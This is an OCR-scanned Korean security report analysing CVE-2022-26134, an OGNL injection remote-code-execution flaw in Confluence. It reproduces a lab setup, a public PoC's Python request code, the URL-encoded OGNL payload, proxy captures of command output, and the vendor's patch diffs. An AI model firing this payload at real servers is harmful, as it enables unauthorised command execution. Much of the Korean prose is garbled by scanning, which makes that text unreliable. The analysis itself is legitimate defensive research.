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Step 1. 87 A4
step 1) ¥ &+ PC ol CVE-2022-26134 FFHd o] &=A3t+= Confluence AW E G-F 3t}
otef o] HAE Faste] =A = HA Jhssitt

« URL : https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134

eqst@insight:~$ sudo docker-compose up -d

(&4 7401

step 2) A2 PC oAl &2 PC 9] Confluence A1¥(192.168.0.129:8090) 33},
ofefi o} ko] CVE-2022-26134 Hefxlol EAsh: 7.13.6 MAde] A& el 5 3l

Log In - Confluence O

O & 192.168.0.129 90% 7

& Confluence

Login

Username

Password

Remember me

m Forgot your password?

EVALUATION LICENSE Are you enjoying Confluence? Please consider purchasing it today.

Cestina Dansk - Deutsch Eesti English (UK} - English {(US) - Espanol - Francais - Islenska - [taliano Magya
Nederlands MNorsk - Polski - Portugues - Romana - Slovencina - Suomi Svenska - Pycckwm - PR3 - HEGE
Powered :-_.-'Ii-.tassie" Confluence '.’..1:-.13| - Report a bug - Atlassian News

A ATLASSIAN

(&4 T4@)]
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Step 2. PoC HIZE
CVE-2022-26134 #H°Fd HIAEE 93k PoC 7} A& github URL & tS-3 7t}
e URL : https://github.com/h3vOx/CVE-2022-26134

step 1) git clone W#E]E o]&3] CVE-2022-26134 PoC 7} A& git ¢ Hd&
o}e- 2 =3k},

clone https:
Cloning into 'CVE-2
remote:
remote: Counting objects: 1

remote: Compressing objects ' ), done.
remote: Total 45 (delta 12), reused @ (delta @), pack-reused @

Receiving objects: 1 (45/45), 12.71 KiB | 2.54 MiB/s, done.
Resolving deltas: 1

[git clone]

step 2) ol#le] HEHOE o] &&] PoC U2l exploit.py & 233t}

‘ $ python3 exploit.py —u [Confluence A F4] -c [H&Ho]]
o —u A ——url & ok ERlo] HE FH kel M A 9] Confluence AW F£4& A A
]

of 43

C e A -—emd B E3] 4ZelN AT o

step 3) A& A3, AR PC oM 233 <
Atk = ¥z PC 9] Confluence MBlel A Aol U= AR dAM W
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Lo A Abgxe] i3k user, group ARE =
PC ¢ Confluence AH ¢ ARV &858 AL 2 5 9}

2.168.0.129:8090 -c 1id

Remote Code Execution wia OGNL Injection

" uid=2002(confluence) gid=2002(confluence)

(97 9% id 43 27}]
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Step 1. PoC #4

FoFx HAEe A8E PoC 3hdolA CVE-2022-26134 S fridsts =
7tk CVE-2022-26134 FHeFdo] &£A413t= Confluence MM F4i9 97 oﬂ

2 rlr

H#ols 94¥3sd PoC W9 o4 wHolz=9 974 HTTP 8302 Afdt)

O

xS

o2 o

def spiderXpl(url):
globals().update(locals())
if not url.startswith('http'):
url="http://"+url

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 1@.0; Winé4; x64) ApplelebKit/537.36
(KHTML, like Gecko) Chrome/70.8.3538.77 Safari/537.36",

"Connection": "close",

"Accept-Encoding": "gzip, deflate"}

try:
response = requests.get(url + '/%24%7B%28%23a%3D%4@0rg.apache.commons.io.
IoUtils¥%4etoString%28%4ejava.lang.Runtime%40getRuntime?%28%29.exac%28%22 " +optionsOpt.
command+'%22%29.getInputStream¥%28%29%2C%22utf-8%22%29%29 .%28%48com. opensymphony .
webwork.ServletActionContext%48getResponse’28%29.
setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ "', headers=headers, verify=False,
allow_redirects=False)
if(response.status_code == 362):
print('Found: "+url+' // '+ response.headers['X-Cmd-Response’'])
[PoC #H(D)]
HTTP ddE T3l 843 W st %S X-Cmd-Response 3H<e o=z &9

Z - /\/\

T

AAFER ?L“ﬂoi E‘r.

if(response.status_code == 382):
print('Found: '+url+' // '+ response.headers['X-Cmd-Response’])

[PoC 32 (2)]

PoC We] o} #ojzx=ql URI 1a9E #s Ha2dd Zdapek g2 v 2o

© /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().

@ exec("' optionsOpt.command '").getInputStream(),"utf-8")).(@com.opensymphony.
© webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response”,#a))}/

[&Hg do|2=E 3y ZAF]

(EA=

3i
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: : T = - =] — = =
@ java.lang.Runtime Z# == PHAE A3t exec T T
= a7 1:1 le) [e)
D exec PrE B3 BAALIY e we @aol A
2= 5 = = [e)
@ setHeader() ‘E}—ri A]4 %k X-Cmd-Response 3IHE &3 WHol| tjg &
=9
[e) =) 7 - . ) = = =) =1 O &
Proxy Tool& &3l &Zcl AH&H o Flol==of id BES F7lete] 834 s wWeY &%
- [e)
A= e g
[ send JESYHING <|v Follow redirection Target: http:1192.168.0.129:8090 /°  HTTPL (3)
a-= -
Request Response @
Raw Hex n = Pretty Raw Hex \n = —

1 _GET 1 HTTP/1.1 302

S%245%TB%28%23a%30%400rg. apache. commons. 10. I0Ut1ls%40 2 Cache-Control: no-store >

toSt ring%28%40java. Lang. Runt ime%40getRunt ime%28%29. e 3 Expires: Thu, 01 Jan 1970 00:00: 00 GMT w

x2c%28%221d%22%29. getInput St ream%28%29%2C%22ut f -8%22 4 X-Confluence-Request-Time: 1663152729814 l'-l'il

%29%29.%28%40com. opensymphony. webwork. ServletActionC 5 X-XSS-Protection: 1; mode=block 0O

ontext%40getResponse%28%29. setHeader%28%22X-Cmd-Resp & X-Content-Type-Options: nosniff a

onse%22%20%23a%29%29%7D/ HTTP/1.1 7 X-Frame-Options: SAMEORIGIN ]
2 TBUS0 8 . ity P _ ' '
3 Upgrade Insecure -Requests: 1 X-Cmd-Response: uid=2002(confluence)
4 User-Agent: Mozilla/S.0 (Windows NT 10.0; Win&4; gid=2002(confluence) groups=2002(confluence), 0( root)

x64) AppleWebKit/537.36 (KHTML, like Gecko)

HZ2E 23]

HTTP &7 slcle] ¥4 *1
Response 3|Hol] FAA7} &

F718te] oA HolREE AEsH, X-Cmd-
Stol YElE AL B 4 gl
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Step 2. A T3 €%
CVE-2022-26134 k4

grE2dl F AdE 2asds $4% dx, URIY 94
] 2

A8 9gH5s ste oAl Flo]2=(${rce_payload}/)7t AHPHAS

EE s

step 1)

step 2)

step 3)

step 4)

http://192.168.0.129:8090/%{rce_payload}/

ServletDispatcher

ActionChainResult

TextParseUtil FHor®

OgnlValueStack

OgnlUtil

=)

e

(&

2 g 8 A e et g,

step 1) ServletDispatcher

WA ServletDispatcher
SHAI() ol TAES

Z 9] getNamespaceFromServletPathel

A2t

o5l URI whAe

public static String getNamespaceFromServletPath(String servletPath) {

|serv1etPath = servletPath.substring(o, servletPath.lastIndeXOf("/"ﬂ);

return servletPath;

[ServletDispatcher]

EQST insight | 10



utebA CVE-2022-26134 F<Fxlo] &2317] 93]

A &

ZAANE EABNF Bk A
ol e A ute] ZejAl7t A w FHol

A= WEA] ofol el Ho] = o] whA o]
wol we ok B4 Ane then gor
W AL 2 5 ok

|| Cancel

Request

Pretty Raw Hex

8 » =
GET

/%24%7B%268%23a%30%400rg. apache. commons. 1o0. I0OUt1ls%40
toSt ring%28%40j ava. Lang. Runt ime%40getRunt ime%28%29. &
xec%28%221d%22%29. get Input St reans28%29%2C%22ut f -8%22
%29%29. %28%40com. opensymphony. webwork. ServletActionC
ontext%40getResponse%28%29. setHeader%28%22X -Cmd-Resp
onse%22%20%23a%25%29%70/ HTTP/1. 1
Z Host: . o, g
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4,
x64) AppleWebKit/S37.36 (KHTML, like Gecko)
Chrome/105. 0. 5195. 102 Safari/537.36
5 Accept:
text /html, application/xhtml+xml, application/xml; =0,
9, image/avif, image/webp, image/apng, */*, ¢=0. 8, applica
tion/signed-exchange; v=b3; ¢=0.9

Follow redirection

HTTP/1.1 302

11

Target: http2//192.168.0.129:8090 59

Hex  Rende B n =

HTTP/1

@ O

Response

Pretty Raw

Cache-Control: no-store

Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request -Time: 1663156566872

Set -Cookie: JSESSIONID=
B99CASCES3BAZEO3EES112F904286778; Path=/; HttpOnly
X-XS5-Protection: 1; mode=block

7 X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Contant Sacurid Pals s
o X-Cmd-Response: ulid=2002(confluence)

gid=2002( confluence) groups=2002(confluence), 0( root)

(4] W s wmn -
HOLO3dSNI

0

frome-oncastops '=alfl

Location:
/login. action?os_dest inat iorm%2F%24%76%28%23a%30%400
rg. apache. commons. io. IOUt1ls%40toSt ring%28%40java. la

[EHAE BYs

hll

Request

Pretty a nmw =
1| GET

/%24%7B%28%23a%30%400rg. apache. commons. 10. I0Ut1ls%40
toSt ring%28%40j ava. Lang. Runt ime%40getRunt ime%28%29.
xec%28%221d%22%29. get Input St ream%28%29%2C%22ut  -8%22
%29%29. %28%40com. opensymphony. webwork. ServletActionC
ontext%40getResponse%28%29. setHeader%28%22X -Cmd -Resp
onse%22%2C%23a%29%29%7D HTTP/1.1
"Host: 192 168.0.129: 6090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64,
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/105. 0.5195. 102 Safari/537.36

Hex

Raw

2 wN

%

Follow redirection

Target: http/192.168.0.129:8090 59 HTTP/1

a-= -
8 » =

@ O

Response

Pretty Raw Hex Rende

HTTP/1.1 3082

Cache-Control: no-store

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Set -Cookie: JSESSIONID=
77B3AF59150702950807029ADF31F1C9; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block

. X-Content -Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

W

@ w

dOL1D23dSNI

= LoC a(ion‘
/login. action?os_destinat iorm%2P%2524%257B%2528%2523
#%2530%25400rg. apache. commons. 1o0. TOUt11s%2540toStrin

[EAA7F EAeA &= B5]
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step 2) ActionChainResult

ServletDispatcher Z#2~%* ActionChainResultE ZZ3Ith. o] d ©AlolA mlxT L&A
o]H 9] HolR= = oA #|o]Z=7} namespace©] Bt}

public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);

String finalActionMame = TextParseUtil.translateVariables(this.actionName, stack);

[ActionChainResult]

namespacetyx L3 o] FAFE G oW o] OGNL F&o]t}.

/(#a:@org .apache.commons.io0.I0Utils@toString(@java.lang.Runtime@getRuntime().exec("id").
getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().
setHeader("X-Cmd-Response",#a)

[namespace %]

step 3) TextParseUtil

o] & TextParseUtil F#2~7}F 35 F . CVE-2022-26134+ o] Fd 29 translateVariables
Skl Al findValue  #toll & @AstH  FHeFdo]l A= A A Ylelth
translateVariables &5+ namespace? wA<ES x| A3 welo)] 2t =3}

public class TextParselUtil {
public static String translateVariables(String expression, OgnlValueStack stack) {

StringBuilder sb = new StringBuilder();

Pattern p = Pattern.compile("“\\&\\{([~}]*)\\}");

Matcher m = p.matcher(expression);

int previous = @;

while (m.find()) {

String strl, g = m.group(1); | IED 2X 2 H2 findValueZ A2 HE
int start = m.start();
try {

|Object o = stack.findValue(g); |

strl = (o == null) ? "" : o.toString();

1 rateh (Fvrontion donornad) I

[TextParseUtil]

2L

9We namespace] AL @ AW HAF AFET GG BAL] mEA
AE IRl WWSWWA([)TOWW)' 3 $(-)12 Z3shan A Bea,
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¥ AAF A3 OGNL Z& A o] 99 ey Axste] 1 Fto] findValue® A g},

/(#a:@or‘g .apache.commons.io.I0Utils@toString(@java.lang.Runtime@getRuntime().exec("id").
getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().
setHeader("X-Cmd-Response”,#a) )

ot
)
_>|i
N
)
ko
oX!
rot
12
oX,
i)
o
il
[

o] stepl~step3E AAH AEH = FHLS oo 2o

step 1 step 2
http://192.168.0.129:8090 - TextParseUtil 2 &
${rce_payload}/ ${rce_payload) (ZXHE EAh
lT
[23 URI] [namespace]

step 3

${rce_payload}

[findValue]

[eH sol2= A #AA]

http://3 23t Confluence AM¥ F4/${rce_payload}/ & A o /${rce_payload}/ ¢
i AE el namespace o ©A TextParseUtil Zd29 #AE dHHS AASeE $4E
=3t} ey 9 xE ¢ namespaceo] B7 S findValue #e®E AEH T}

step 4) OgnlValueStack

o] &%+ OgnlValueStackol A findValue #kel OGNL & thadh #EAo] a5
44 WHo] F el 45kl OGNL Injectiono] 7hsshA %t}

public DbjectlfindValuelStPing expr) {
try {

if (expr == null)
return null;

if (this.overrides != null &% this.overrides.containsKey(expr})
expr = (String)this.overrides.get(expr);

if (this.defaultType != null)
return findValue(expr, this.defaultType);

|return Ognl.getValue(OgnlUtil.compile(expr)|, this.context, this.root);

[OgnlValueStack]
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Step 3. FFd A

Atalssian jitoll A 33 CVE-2022-26134¢] th3dt #x WIe tpS3 2o ueolEd
#7127 = xwork-1.0.3-atlassian-10.jar 3L L Z3] ged = o}

this.namespaceS =& TextParseUtil F#2~S 3=3+= ActionChainResult Z#]29 d%]

o]},

— - —
46 47 public void execute(ActionInvocation invocation) throws
47 public void execute(ActionInvocation inveocation) throws Exception {
Exception { 48 if (this.namespace == null)

48 if (this.namespace == null) 49 this.namespace = invocation.getProxy().getNamespace();
49 this.namespace = invocation.getProxy().getNamespace(); 50
56 = OgnlvalueStack stack =

ActionContext.getContext().getValueStack(); 51 # String finalNamespace = this.namespace;
51 =% String finalNamespace = 52 # String finalActionName = this.actionName;

TextParseUtil.translateVariables(this.namespace, stack); 53 if (isInChainHistory(finalNamespace, finalActionName))
52 # String finalActionName = 54 throw new XworkException("infinite recursion detected");

TextParseUtil.translateVariables(this.actionName, stack); 55 addToHistory(finalNamespace, finalActionName);
53 if (isInChainHistory(finalNamespace, finalActionName)) 56 * HashMap<Object, Object> extraContext = new HashMap<>();
54 throw new XworkException("infinite recursion 57

detected"); extraContext.put("com.opensymphony.xwork.util.OgnlValueStac

55 addToHistory(finalNamespace, finalActionName); k.ValueStack", ActionContext.getContext().getValueStack());
56 = HashMap<Object, Object> extraContext = new 58

HashMap<Object, Object>(); extraContext.put("com.opensymphony.xwork.ActionContext.para
£ M Actione P Ay AncfAN.

[ActionChainResult E#2 X WIH/F)]

(

=] o] H¥ o] % & H|WIHEH findValue ol tig ASo F71E A&

d

o
sk
&
%
O

public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParselUtil.translateVariables(this.actionMame, stack);

[ActionChainResult E#2 =] o]A]

public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();

String finalNamespace = this.namespace;
String finalActionMName = this.actionName;

[ActionChainResult S# & 3|x] o]F]

WA namespace?] #k°] TextParseUtil ;29 translateVariables® &% &= 37 09]
AP A E A}, TS translateVariables  $HE 0 AFESEX] @31 finalNamespace®}f
finalActionName W5 AAst= AS & F ok wepx] CVE-2022-26134 FoF3 9
Yelo] ¥AY translateVariables <7} &% A &=t}
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F71A o2 OGNL Z AL A 3t= OgnlValueStack @~ 3t I =% oo EH T}

88 public Object findvalue(String expr) { 88 public Object findvalue(String expr) {

89 try { 89 try {

EL] if (expr == null) L] if (expr == null)

91 return null; o1 return null;

92 92 & if (!this.safeExpressionUtil.isSafeExpression(expr))

93 93 return null;

94 if (this.overrides != null && 94 if (this.overrides != null &&
this.overrides.containsKey(expr)) this.overrides.containsKey(expr))

95 expr = (String)this.overrides.get(expr); 95 expr = (String)this.overrides.get(expr);

96 if (this.defaultType != null) 96 if (this.defaultType != null)

[OgnlValueStack S =] WHA/F)]

TAE WS g3 Zom HA o|Fe I=E HW kHsA %<& OGNLEHA &
HAFee] "E] Y= safeExpressionUtil Fdl27F F=71d AS B 4 )

public Object findValue(String expr, Class asType) {
try {
if (expr == null)
return null;
if (this.overrides != null &% this.overrides.containsKey(expr))
expr = (String)this.overrides.get(expr);
return Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root, asType);
} catch (OgnlException e) {
return null:

[OgnlValueStack &~ x| o]A]

public Object findValue(String expr, Class asType) {
try {
if (expr == null)
return hull;
if (!this.safeExpressionUtil.isSafeExpression(expr))
return null;
if (this.overrides != null &% this.overrides.containsKey(expr))
expr = (String)this.overrides.get(expr);
return Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root, asType);
} catech (OgnlException e) {
return null;

L L= A -

[OgnlValueStack Z#| A x| o]F]
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